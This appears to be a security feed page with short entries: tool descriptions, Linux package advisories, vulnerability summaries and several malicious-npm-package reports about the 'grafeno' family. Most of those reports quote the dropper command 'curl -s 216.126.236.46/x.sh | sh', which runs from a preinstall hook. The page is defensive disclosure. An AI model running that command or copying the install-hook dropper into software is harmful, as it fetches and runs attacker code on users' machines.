cdf

CDF – crypto differential fuzzing CDF is a tool to automatically test the correctness and security of cryptographic software. CDF can detect implementation errors, compliance failures, side-channel leaks, and so on. CDF implements a combination of unit tests with "differential fuzzing", an approa...

tarian

Tarian Protect your applications running on Kubernetes from malicious attacks by pre-registering your trusted processes and trusted file signatures. Tarian will detect unknown processes and changes to the registered files, then it will send alerts and take an automated action. Save your K8s...

Unity Linux 20.1070e Security Update: nss (UTSA-2026-030724)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-030724 advisory. The NSS code used for checking PKCS1 v1.5 was leaking information useful in mounting Bleichenbacher-like attacks. Both the overall correctness of the padding as well...

Security update for vim (important)

openSUSE security update: security update for vim ------------------------------------------------------------- Announcement ID: openSUSE-SU-2026:21671-1 Rating: important References: bsc1268162 bsc1271684 bsc1275011 bsc1275012 bsc1275013 bsc1275014 bsc1275015 bsc1275016 bsc1275017 bsc1275018...

PT-2026-83433

Name of the Vulnerable Software and Affected Versions Omnivore API packages/api versions prior to commit abf53d6 Description An authentication bypass exists in the Apple sign-in token verification process. The decodeAppleToken function extracts the alg field from the JWT header provided by the us...

PT-2026-83434

RubyGems fails to re-validate path containment after filesystem symlink resolution during gem extraction. When a pre-existing symlink inside the destination directory points outside the extraction root, extracted files that appear to be written under the destination directory can instead be writt...

PT-2026-83502

Summary qs.stringify throws a TypeError when it serializes an object whose own constructor property has a truthy, non-callable isBuffer member. utils.isBuffer duck-types buffers by calling obj.constructor.isBufferobj after checking only that the property is truthy, so a value such as constructor:...

Linux Distros Unpatched Vulnerability : CVE-2026-52687

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - An attacker that has valid credentials can select a compression algorithm for the IMAP connection whose decompression state requires a large amount of memory, a...

Malicious code in grafeno-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad The package's package.json preinstall lifecycle hook uses childprocess to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare I...

MAL-2026-15509 Malicious code in grafeno-utils (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5beb233fe40ca775519f2262a691a45445a9bda31c970d12aca3c584be4d32ad The package's package.json preinstall lifecycle hook uses childprocess to run curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare I...

MAL-2026-15504 Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

Malicious code in grafeno-config (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ebbea90af14e110b5dcef171163ea3029f6655ecf623595c251f44db674ce6af package.json declares a preinstall lifecycle hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare-IP host over plain...

MAL-2026-15503 Malicious code in grafeno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...

Malicious code in grafeno-client (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6 package.json declares a preinstall script that runs curl against a bare IP over plain HTTP http://216.126.236.46/x.sh and pipes the response to sh,...

MAL-2026-15502 Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

Malicious code in grafeno-auth (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c3c99ded091548bc464635b9c1151368873851c4a97036279f46f74b5c7ca59a package.json declares a preinstall hook that shells out via node -e / childprocess to curl http://216.126.236.46/x.sh over plain HTTP and pipes the...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...

MAL-2026-15522 Malicious code in spc-grafeno (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a0fef29000dd88ee68ba616d166f1ef976a216748d37f14af1367841f0d951f1 The package's preinstall lifecycle script runs curl -s 216.126.236.46/x.sh | sh via /bin/bash at npm install time, executing attacker-controlled code...